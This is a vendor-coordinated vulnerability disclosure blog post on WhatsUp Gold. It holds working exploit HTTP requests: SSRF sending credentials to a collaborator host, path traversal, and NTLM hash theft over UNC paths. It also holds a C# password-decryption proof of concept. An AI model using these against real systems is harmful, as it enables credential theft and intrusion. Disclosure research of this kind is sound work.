Chaining vulnerabilities to criticality in Progress WhatsUp Gold

Chaining vulnerabilities to criticality in Progress WhatsUp Gold

Introduction

Once in a while, you come across the perfect storm of vulnerabilities that may be assessed as a medium risk on their own, but when combined they can lead to a critical impact. In this blog post, we detail our journey in auditing a network monitoring software called WhatsUp Gold made by the software conglomerate, Progress.

As usual, our journey started with mapping out the pre-authentication attack surface where we discovered a blind SSRF that leaked encrypted credentials. From that point onwards, we chained an information leak in the product to be able to decrypt encrypted passwords.

By breaking the encryption used by this product, an attacker could use these vulnerabilities to obtain the plain text passwords of all users registered on WhatsUp gold. Once gaining access to the post-authentication environment, it was then possible to steal Net-NTLMv2 hashes and read local files.

The advisory for this issue can be found here.

The CVEs for these issues are:

  • CVE-2022-29845: Local File Disclosure
  • CVE-2022-29846: WhatsUp Gold Serial Number Disclosure
  • CVE-2022-29847: Unauthenticated Server-Side Request Forgery (SSRF)
  • CVE-2022-29848: Authenticated Server-Side Request Forgery (SSRF)

The advisory from Progress can be found here.

This security research was performed by Shubham Shah.

Leaking Encrypted Credentials

WhatsUp Gold is written in C#, and after obtaining the source code by decompiling the .dll files, we noticed that they were using the fairly popular .NET MVC framework. Our initial instinct was to search for all controllers which allowed anonymous access.

When doing so, we came across RenderController which had the decorator [AllowAnonymous], meaning that it can be accessed without authentication.

WhatsUp.UI/WhatsUp/UI/Areas/Platform/ApiControllers/Export/RenderController.cs:

[AllowAnonymous]
		public Dictionary<string, string> Put(JObject config)
		{
			try
			{
				return _appService.RenderReport(config);
			}
			catch (Exception ex)
			{
				return new Dictionary<string, string> { { "exception", ex.Message } };
			}
		}

This code takes in a JSON object and passes it directly to _appService.RenderReport.

Following this through to Ipswitch.WhatsUp.Application/Ipswitch/WhatsUp/Application/Report/ReportRenderingAppService.cs, we can see the following code:

public Dictionary<string, string> RenderReport(JObject config)
		{
			Dictionary<string, string> dictionary = new Dictionary<string, string>();
			_client.BaseAddress = (string)config["baseUrl"];
			if (!_client.LoginAsync((int)config["userId"]).Wait(30000))
			{
				throw new TimeoutException("Login timed out");
			}

From the JSON object that was passed to this function, it sets _client.BaseAddress to the JSON value of baseUrl and then makes a function call to _client.LoginAsync with the JSON value of userId.

Let’s follow through to _client.LoginAsync which is located in Ipswitch.WhatsUp.Application/Ipswitch/WhatsUp/Application/Report/ReportRenderingHttpClient.cs:

public string BaseAddress
		{
			get
			{
				return _client.BaseAddress.ToString();
			}
			set
			{
				_client.BaseAddress = new Uri(value);
			}
		}

... omitted ...

public Task<string> LoginAsync(int userId)
		{
			string userName = string.Empty;
			string encryptedPassword = string.Empty;
			WebUserConfig.Get(userId, ref userName, ref encryptedPassword);
			string requestUri = $"Session/Login/?sUsername={userName}&sPassword={encryptedPassword}";
			return _client.GetStringAsync(requestUri);
		}

This is our sink, where user details (username and encrypted password) are obtained through WebUserConfig.Get and then a request is made to the baseUrl we provided earlier through _client.GetStringAsync(requestUri).

If we put all of this together, we can construct the following HTTP request to exploit this issue:

PUT /NmConsole/api/core/render HTTP/1.1
Host: hacktheplanet
Content-Length: 177
Accept: application/json
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Origin: http://10.211.55.6:8888
Referer: http://10.211.55.6:8888/NmConsole/
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json

{"baseUrl":"http://7v3y5a13fprvlv9urozsuq4gr7x1lq.oastify.com","userId":1,"renderType":"xml","title":"t"}

This results in the following HTTP request received in our Burp Collaborator session:

 

The userId can be iterated through to steal the encrypted password and usernames for all users registered in the application.

Decrypting WhatsUp Gold Encrypted Passwords

While this blind SSRF which leaks user credentials is great, we’re unable to use these encrypted passwords to directly authenticate to WhatsUp Gold.

Noticing that the format of the encrypted password wasn’t something that we were familiar with, we were confident that WhatsUp Gold was using a custom encryption routine to encrypt passwords.

We started investigating the encryption routines of WhatsUp Gold to see what was exactly required to decrypt an encrypted password.

I’d like to take a moment to explain where static analysis can really fall down when it comes to dealing with encryption algorithms.

When we first took a look at NmUserAuthenticator/NmUserAuthenticator/Security/WugLoginCryptographyWrapper.cs we saw the following piece of code that got us very excited:

private const string TheEncryptionKey = "neo9ej#0!kb-YqX7^$z?@Id]_!,k9%;a}br549";
private readonly byte[] _wellKnownStaticSaltByteArray = new byte[8] { 21, 41, 227, 207, 51, 121, 84, 136 };

... omitted ...

private string LoadSalt(EncryptionAndSaltType encryptionAndSaltType)
		{
			if (encryptionAndSaltType != EncryptionAndSaltType.Aes256AndDynamicSalt)
			{
				return Encoding.Default.GetString(_wellKnownStaticSaltByteArray);
			}
			return _salt;
		}

However, we were unable to decrypt the encrypted password using this salt. Something was wrong.

In order to actually understand what was going on, we used JetBrains Rider and attached to the WhatsUp Gold process to debug the application while going through the decryption routine. This was incredibly valuable as it let us determine exactly where the salt was coming from.

We stepped through the decryption routine and discovered that we were actually hitting GetSaltFromRegistry:

 
 

In retrospect, this made sense due to the way the class was being initialised:

[InjectionConstructor]
		public WugLoginCryptographyWrapper(ICryptoSupport cryptoSupport)
			: this(cryptoSupport, string.Empty)
		{
		}

		public WugLoginCryptographyWrapper(ICryptoSupport cryptoSupport, string salt)
		{
			_cryptoSupport = cryptoSupport;
			_salt = GetDefaultSalt(salt);
		}
		
		private static string GetDefaultSalt(string salt)
		{
			if (string.IsNullOrEmpty(salt))
			{
				salt = GetSaltFromRegistry();
			}
			return salt;
		}

The function GetSaltFromRegistry is being used to set the salt, despite what the static analysis suggested. GetSaltFromRegistry pulls the serial number of the deployment from the Windows registry, per the first screenshot.

After auditing some of the asp files also present inside the WhatsUp Gold install we came across /NmConsole/$Nm/Core/Page-NmPage/evalPane/evalPane.asp which contained the following source code:

<%
var serialNum = Nm.License.getSerialNumber(), tip = getTip();
Js.initialize();
%>

<div id="evalMsg">
	<h1><%=$.tr("Thank you for Evaluating!")%></h1>
	<p><%=Nm.License.getLicenseExpirationMessage()%></p>
	<p><%=$.tr("Your serial number is")%> <br /> <span class="strong"><%=serialNum%></span></p>

I’m not sure what happened here. They based their entire encryption algorithm on the serial number of the product, however it was possible to obtain the serial number pre-authentication through a request to /NmConsole/$Nm/Core/Page-NmPage/evalPane/evalPane.asp.

Making a request to the path above, led to the following response:

 

Making a PoC

Our goal was to create a program that would decrypt encrypted passwords back to plain text.

In order to achieve this, we wrote some C# code which imported the WhatsUp Gold libraries and directly called the decryption functions:

using System;
using System.Collections.Generic;
using Core.Cryptography;
using NmUserAuthenticator.Security;

public class Program
{
	
	private static bool DecryptStringFromString(string encryptedString, byte[] passwordBytes, string serialKey, out string decryptedString)
	{
		//byte[] saltBytes = Encoding.ASCII.GetBytes("6BYSNUGFTKY6J6W");
		WugLoginCryptographyWrapper _wugLoginCryptography =
			new WugLoginCryptographyWrapper(new CryptoSupport(), serialKey);
		bool ret = _wugLoginCryptography.ConfigureCrypto(passwordBytes);
		
		return _wugLoginCryptography.DecryptString(encryptedString, out decryptedString);
	}
	private static byte[] DecodeBinaryString(string binaryString)
        {
          List<byte> byteList = new List<byte>();
          string str = binaryString;
          char[] chArray = new char[1]{ ',' };
          foreach (string s in str.Split(chArray))
          {
            byte result;
            if (byte.TryParse(s, out result))
              byteList.Add(result);
          }
          return byteList.ToArray();
        }
	public static void Main(string[] args)
	{	
		if (args.Length == 0)
		{
			Console.WriteLine("Please provide an encryptedPassword (comma delimited str), serialKey (i.e. 6BYSNUGFTKY6J6W)");
			Console.WriteLine("Usage: waddup-gold.exe encryptedPassword serialKey");
			return;
		}
		// string password = "3,0,0,0,16,0,0,0,119,40,223,161,89,252,66,245,79,122,93,17,232,169,205,233";
		string password = args[0];
		string serialKey = args[1];
		byte[] passwordBytes =
			DecodeBinaryString(password);
		string decryptedString;
		bool ret2 = DecryptStringFromString(password, passwordBytes, serialKey, out decryptedString);
		Console.WriteLine(decryptedString);
	}
}

Since we are unable to distribute the files necessary for the exploitation of this issue, building a PoC for this issue will require you to obtain the following DLL files before compiling the C# code above:

Running our C# application to decrypt encrypted passwords works excellently:

ConsoleApplication1.exe "3,0,0,0,16,0,0,0,119,40,223,161,89,252,66,245,79,122,93,17,232,169,205,233" "6BYSNUGFTKY6J6W"

testing123

Hacker voice: I’m in

 

Post Auth Local File Disclosure / Net-NTLMv2 Hash Disclosure

The following code is responsible for the local file disclosure vulnerability:

WhatsUp.UI/WhatsUp/UI/Areas/Platform/ApiControllers/AlarmCustomizer/AlarmCustomizerController.cs

[HttpGet]
		public HttpResponseMessage Get([FromUri] string fileName)
		{
			if (string.IsNullOrWhiteSpace(fileName))
			{
				return base.Request.CreateResponse(HttpStatusCode.BadRequest, "File Name is empty");
			}
			byte[] array = _alarmCustomizerService.ReadFile(fileName);
			if (array == null)
			{
				return base.Request.CreateResponse(HttpStatusCode.NotFound, $"File {fileName} is not found");
			}
			HttpResponseMessage httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK);
			httpResponseMessage.Content = new ByteArrayContent(array);
			httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue(MimeMapping.GetMimeMapping(fileName));
			return httpResponseMessage;
		}

The _alarmCustomizerService.ReadFile function does the following:

public byte[] ReadFile(string fileName)
		{
			string path = Path.Combine(_customAlarmsFolder, fileName);
			if (!File.Exists(path))
			{
				return null;
			}
			using FileStream fileStream = File.OpenRead(path);
			byte[] array = new byte[16384];
			using MemoryStream memoryStream = new MemoryStream();
			int count;
			while ((count = fileStream.Read(array, 0, array.Length)) > 0)
			{
				memoryStream.Write(array, 0, count);
			}
			return memoryStream.ToArray();
		}

Due to the usage of Path.Combine, it is possible to not only read arbitrary local files through directory traversal, but to also steal Net-NTLMv2 hashes.

The following request can be used (once authenticated) to exploit this vulnerability:

Read files

GET /NmConsole/api/core/AlarmCustomizer/Get?fileName=../../../../../../../../../../Windows/win.ini HTTP/1.1
Host: 192.168.1.7:8888
Accept: application/json
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Origin: http://192.168.1.7:8888
Referer: http://192.168.1.7:8888/NmConsole/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WugFipsEnabled=0; ASPSESSIONIDCCTACCST=AOLJLPKCMMKBNOKIOKBFACIJ; ASPSESSIONIDCQCBBTRT=BKEBKGADEKJAGGKBEMFFDBNL; ASPSESSIONIDACATRADC=JCBLJMBDGMDFJJBDJOMFGEGJ; langid=1033; ASPSESSIONIDCQAQSDCA=MPFDHCCDKODEFHCENCGOFMLK; .ASPXAUTH=882C954FBCBF89F3198777583C4F2E9CE535D7619C9CA4B2BDAD14BE55BDF038447164F2480BC147167F8B117438A3AF4775985931351B2798D6C5A667AF01F441828C2AFAF55E41A26A62CC86AB3EF3BF6F02A081C4580E34DA6B1841FF614D; ASP.NET_SessionId=xi42yc4jgsrkcvqoin0ehrqw; ASPSESSIONIDASDTRDCA=HOFFHLDDMOEKIFNHMGJOPCJM
Connection: close


Steal Net-NTLMv2 hash

GET /NmConsole/api/core/AlarmCustomizer/Get?fileName=\ipC$Windowswin.ini HTTP/1.1
Host: 192.168.1.7:8888
Accept: application/json
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Origin: http://192.168.1.7:8888
Referer: http://192.168.1.7:8888/NmConsole/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WugFipsEnabled=0; ASPSESSIONIDCCTACCST=AOLJLPKCMMKBNOKIOKBFACIJ; ASPSESSIONIDCQCBBTRT=BKEBKGADEKJAGGKBEMFFDBNL; ASPSESSIONIDACATRADC=JCBLJMBDGMDFJJBDJOMFGEGJ; langid=1033; ASPSESSIONIDCQAQSDCA=MPFDHCCDKODEFHCENCGOFMLK; ASPSESSIONIDASDTRDCA=HOFFHLDDMOEKIFNHMGJOPCJM; ASP.NET_SessionId=r2ucpn4uodyuawlvwfwwc2yx; .ASPXAUTH=A139843904A132FDD58198581D8880D96684F3B6506F89D565EE6ADA89A5CBEA5936F85EB82E4645EC169DBD254B3CB5C1752AC2B868986F255235E50E0C9C9656A00DB5850BC4837B5E9DC5B29A32BA687F02C7B05751D0C613BA3D1E8A618F
Connection: close


In Responder you will see the following:

[SMBv2] NTLMv2-SSP Client   : redacted
[SMBv2] NTLMv2-SSP Username : SHUBSSHUBS7A88$
[SMBv2] NTLMv2-SSP Hash     : SHUBS7A88$::SHUBS:redacted:redacted:redacted

Post Auth Net-NTLMv2 Hash Disclosure

Now that we have the plain-text password for literally any user registered on WhatsUp Gold, we can authenticate and exploit the application further.

The following request can be used to leak the Net-NTLMv2 hash of the system (post authentication):

GET /NmConsole/api/core/WebContent/Get?id=\d0e4ag69kvw1q1e0wu4yzw9mwd2cq1.oastify.comC$Windowswin.ini HTTP/1.1
Host: 192.168.1.7:8888
Accept: application/json
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Origin: http://192.168.1.7:8888
Referer: http://192.168.1.7:8888/NmConsole/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WugFipsEnabled=0; ASPSESSIONIDCCTACCST=AOLJLPKCMMKBNOKIOKBFACIJ; ASPSESSIONIDCQCBBTRT=BKEBKGADEKJAGGKBEMFFDBNL; ASPSESSIONIDACATRADC=JCBLJMBDGMDFJJBDJOMFGEGJ; langid=1033; ASPSESSIONIDCQAQSDCA=MPFDHCCDKODEFHCENCGOFMLK; ASPSESSIONIDASDTRDCA=HOFFHLDDMOEKIFNHMGJOPCJM; .ASPXAUTH=1515EFF96B2A9BC68C83F2AA58392F1DEFE9DA998FCE75AC244935EC54E4217126FD8B3F54C641B5873B67CF97110FE7ADE6F0C92C31CEBCE1C2DE3390BA11625B68C3D805F73B0AB63FC1A3C13CED09930B6C635072AB18FF26AA9185BB6291; ASP.NET_SessionId=kthexfwbswlytkjrjhkii4qt
Connection: close


This is possible due to the following code in WhatsUp.UI/WhatsUp/UI/Areas/Platform/ApiControllers/WebContentManager/WebContentController.cs:

[HttpGet]
		public HttpResponseMessage Get(string id)
		{
			try
			{
				string path = Path.Combine(_webContentPath, id);
				HttpResponseMessage httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK);
				FileStream content = new FileStream(path, FileMode.Open);
				httpResponseMessage.Content = new StreamContent(content);
				httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue(MimeMapping.GetMimeMapping(id));
				return httpResponseMessage;
			}
			catch (Exception ex)
			{
				return HttpRequestMessageExtensions.CreateErrorResponse(((ApiController)this).get_Request(), HttpStatusCode.InternalServerError, ex);
			}
		}

This results in the following in Responder:

[SMBv2] NTLMv2-SSP Client   : redacted
[SMBv2] NTLMv2-SSP Username : SHUBSSHUBS7A88$
[SMBv2] NTLMv2-SSP Hash     : SHUBS7A88$::SHUBS:redacted:redacted:redacted

Vendor Response

Progress dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.

We reported this issue to Progress on the 11th of April, 2022.

The timeline for this disclosure process can be found below:

  • Apr 11th, 2022: Disclosure of multiple vulnerabilities to Progress’s security team
  • Apr 13th, 2022: Progress’s team asks us to submit via the HackerOne disclosure form. We refuse as it prevents disclosure of the issue.
  • Apr 14th, 2022: Progress’s team asks us to provide the product version and CVSS scores. We provide this information.
  • Apr 27th, 2022: Progress’s team asks us to get on a call to discuss updates and questions on findings. We agree to this call.
  • Apr 28th, 2022: A patched version of WhatsUp Gold is provided to confirm that the issues no longer exist.
  • May 10th, 2022: We ask for a serial key for the version provided. Progress’s team provide us with a key.
  • May 11th, 2022: We confirm that all the vulnerabilities reported have been fixed.

Remediation Advice

The remediation details provided from Progress’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited.

The knowledge base article detailing the patches or workaround to apply can be found here.

Conclusion

Individually, the vulnerabilities in this blog post were not rated critical from a CVSS standpoint from the vendor, however, as we can see, when combined, they lead to a critical outcome. When auditing software for security vulnerabilities, it is important to try and chain vulnerabilities in order to achieve a greater impact.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

[Source]